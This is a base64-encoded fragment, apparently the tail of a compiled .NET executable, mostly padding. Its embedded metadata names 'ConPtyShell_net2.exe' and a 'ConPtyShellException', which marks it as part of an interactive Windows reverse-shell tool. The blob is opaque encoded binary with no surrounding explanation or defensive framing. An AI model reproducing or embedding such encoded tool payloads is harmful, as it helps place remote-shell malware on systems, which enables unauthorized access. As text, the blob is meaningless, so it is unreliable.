AIAAgACAAIAAgACAAIAANAAoAAQCFFfXwqfXoQ5E0u4zYFZOLAAi3elxWGTTgiQIGDjRbAC0AXQAgAEMAbwBuAFAAdAB5AFMAaABlAGwAbABFAHgAYwBlAHAAdABpAG8AbgA6ACAAAyAAAQQgAQEOAgYCAgYYBAABAhgFAAIJGAkLAAYYCQkSEBgJEAkEIAEJCQQgAQIYBSACARwYCCADEhkJEh0cBSABCRIZAgYJBAAAAAAEBAAAwAQFAACABCMAAMACBggEAQAAAAQCAAAABBAAAAAHAAIIBhARLAgAAwgYCBARNAsABhgICAgQETQICAMAAAgJAAMIGBAROBAIBwADGBEoAggLAAcCGBgYEBgJAgkDAAAYCgAFCRgRHBgJEAgIAAQJCBgIEAgFAAIYCAgHAAMYGBEcCAUAARgSIQYAAgIYEiECBgcCBgUDBhEcBAMAAAAEBAAAAAMGESQDBhEoBP8PHwAECAAAAAQgAAAABEAAAAAEgAAAAAQAAQAABAACAAAEAAQAAAQAEAAABAAAEAACBgYDBh0JAwYRJQMGETACBgoLAAUIGAgQETwIEAgEAAASIQUAARIhCAUAARIhGDh7AHsAewBDAG8AbgBQAHQAeQBTAGgAZQBsAGwARQB4AGMAZQBwAHQAaQBvAG4AfQB9AH0ADQAKAAQWAAIABAAACAAEAAAACAT/////BAAAAIAEAAAAQAT2////BPX///8E9P///wgABAIYCAgQGAoABwIYCRgYGBgYFQAKAg4OEBFQEBFQAgkYDhARRBARTBEACgIODhgYAgkYDhARSBARTAUAAgIYCQUAAgIIGAQAARgICwAEAhAYEBgQEVAICgAHGA4JCRgJCRgKAAUCGB0FCRAJGAoABQgRVBgYCRAYBAABCBgGAAICGBAJAwAAAgUAAgIYCAQAARgOBQACGBgODAAGGBEpES0RMRgJCAgAAwgYEBFcCAQAAQcHBAABCQ4HAAIIBhARWAgABAgYHQUICQQAAQkYBQACGA4ICAADARgQCRAJCwAEARAYEBgQGBAYCQADARAYEBgQGAYAAwEYGBgDAAABCwAFCBAYEBgQGAkJBgACEUQYGAgAAhFMEBFEDgYAAhFMGA4EAAEBHAYAAhI1GBgHAAMSNRgYGAkABg4OCAkJDgIDBhFIBAABAg4FAAEBHQ4EAAEODgQAAQgOBQABCR0OBQABDh0OBCABAQgFAAIODg4GBwMSEBgJBSABARFZAQIEAAEBGAQHAhgJBgABEmURaQUAAQgSZQMgAAgFAAICGBgDIAAOBgADDg4ODgQAAQEOBAABGBgDIAAKBCABAQoGAAIcGBJlBAABCBwEAAEYCgQAAQ4YBQACAg4OFAcOESAKGBgYGA4YEgwIERgIGBEYCwcHGBE4ETgICAgIBQACDg4cBwAEDg4ODg4LBwcYGBE0ESwICAgFIAEBEXUDF4EBAxeAgQIeBwMXgQADIAAYBAcBEiEIBwQRPAgIEiEEAAEICAoHBggIDhFYGBFcBAABAQgFAAASgIkHIAMOHQUICAYgAR0OHQMGAAICDhAIDgcJHQUICAgODg4dAx0DBAcBEVAEBwIYGAQHAgkYBQcCCBFUBQACDhwcBgcDGAIRRAoHBRFMEVAIEVACBgcCEUQRTAIdHAwHCB0cGBgIAggJHQUGIAEBEoCRBCABARwGBwIdHBI1DQcJHRwYGBgIAggJHQUHAAQODhwcHAYAAw4OHBwGAAIODh0cHwcWGBgYGBgYGBgYAgICAg4SIRIhEiERTAgRSBI1EjUFAAASgJUIAAICDhASgJkFBwESgJkDBwEIAwcBCQMHAQ4EIAECDgkHBw4OCAIJCQ4IAQAIAAAAAAAeAQABAFQCFldyYXBOb25FeGNlcHRpb25UaHJvd3MBAADYfwAAAAAAAAAAAADufwAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA4H8AAAAAAAAAAF9Db3JFeGVNYWluAG1zY29yZWUuZGxsAAAAAAD/JQAgQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAEAAAABgAAIAAAAAAAAAAAAAAAAAAAAEAAQAAADAAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAEgAAABYoAAAbAIAAAAAAAAAAAAAbAI0AAAAVgBTAF8AVgBFAFIAUwBJAE8ATgBfAEkATgBGAE8AAAAAAL0E7/4AAAEAAAAAAAAAAAAAAAAAAAAAAD8AAAAAAAAABAAAAAEAAAAAAAAAAAAAAAAAAABEAAAAAQBWAGEAcgBGAGkAbABlAEkAbgBmAG8AAAAAACQABAAAAFQAcgBhAG4AcwBsAGEAdABpAG8AbgAAAAAAAACwBMwBAAABAFMAdAByAGkAbgBnAEYAaQBsAGUASQBuAGYAbwAAAKgBAAABADAAMAAwADAAMAA0AGIAMAAAACwAAgABAEYAaQBsAGUARABlAHMAYwByAGkAcAB0AGkAbwBuAAAAAAAgAAAAMAAIAAEARgBpAGwAZQBWAGUAcgBzAGkAbwBuAAAAAAAwAC4AMAAuADAALgAwAAAATAAVAAEASQBuAHQAZQByAG4AYQBsAE4AYQBtAGUAAABDAG8AbgBQAHQAeQBTAGgAZQBsAGwAXwBuAGUAdAAyAC4AZQB4AGUAAAAAACgAAgABAEwAZQBnAGEAbABDAG8AcAB5AHIAaQBnAGgAdAAAACAAAABUABUAAQBPAHIAaQBnAGkAbgBhAGwARgBpAGwAZQBuAGEAbQBlAAAAQwBvAG4AUAB0AHkAUwBoAGUAbABsAF8AbgBlAHQAMgAuAGUAeABlAAAAAAA0AAgAAQBQAHIAbwBkAHUAYwB0AFYAZQByAHMAaQBvAG4AAAAwAC4AMAAuADAALgAwAAAAOAAIAAEAQQBzAHMAZQBtAGIAbAB5ACAAVgBlAHIAcwBpAG8AbgAAADAALgAwAC4AMAAuADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAwAAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA